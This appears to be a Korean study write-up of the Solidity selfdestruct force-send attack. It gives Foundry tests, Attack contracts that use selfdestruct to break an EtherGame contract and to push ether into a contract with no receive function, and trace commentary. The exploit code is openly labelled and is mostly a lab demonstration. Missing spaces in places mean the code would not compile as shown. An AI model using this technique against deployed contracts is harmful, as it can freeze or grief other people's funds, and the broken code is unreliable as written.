// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import"forge-std/Test.sol";
/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
No one can become the winner.
What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/
contract EtherGame {
uint constant public targetAmount = 7 ether;
address public winner;
functiondeposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance; // vulnerablerequire(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
functionclaimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract ContractTest is Test {
EtherGameEtherGameContract;
AttackAttackerContract;
address alice;
address eve;
functionsetUp() public {
EtherGameContract = newEtherGame();
alice = vm.addr(1);
eve = vm.addr(2);
vm.deal(address(alice), 1 ether);
vm.deal(address(eve), 1 ether);
}
functiontestFailSelfdestruct() public {
console.log("Alice balance", alice.balance);
console.log("Eve balance", eve.balance);
console.log("Alice deposit 1 Ether...");
vm.prank(alice);
EtherGameContract.deposit{value: 1 ether}();
console.log("Eve deposit 1 Ether...");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}();
console.log("Balance of EtherGameContract", address(EtherGameContract).balance);
console.log("Attack...");
AttackerContract = newAttack(EtherGameContract);
AttackerContract.dos{value: 5 ether}();
console.log("Balance of EtherGameContract", address(EtherGameContract).balance);
console.log("Exploit completed, Game is over");
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
functiondos() public payable {
// You can simply break the game by sending ether so that// the game balance >= 7 ether// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
코드 test 결과이다.
EtherGameContract Balance가 2 ether에서 7 ether로 증가하였다.
Trace를 분석해 보자.
Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
Eve address: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
EtherGame.dos{value : 5 ether}인 상태에서 selfdestruct() 함수를 만나면 Attack Contract 파괴, 5 ether는 EtherGame에게 송금
EtherGame.balance = 7 ether
Vulnerability
functiondos() public payable {
// You can simply break the game by sending ether so that// the game balance >= 7 ether// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import"forge-std/Test.sol";
/*
Try to send ether to Force contract
Force implements neither receive nor fallaback functions. Calls with any value will revert.
*/
contract ContractTest is Test {
ForceForceContract;
AttackAttackerContract;
functiontestselfdestruct2() public {
ForceContract = newForce();
console.log("Balance of ForceContract:", address(this).balance);
AttackerContract = newAttack();
console.log("Balance of ForceContract:", address(ForceContract).balance);
console.log("Balance of AttackerContract:", address(AttackerContract).balance);
AttackerContract.attack{value: 1 ether}(address(ForceContract));
console.log("Exploit completed");
console.log("Balance of EtherGameContract:", address(ForceContract).balance);
}
receive() payable external{}
}
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
contract Attack {
functionattack(address force) public payable {
selfdestruct(payable(force));
}
}
코드 test 결과이다.
EtherGameContract의 Balance가 1 ether 증가하였다.
Trace를 분석해 보자.
Force Contract address: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f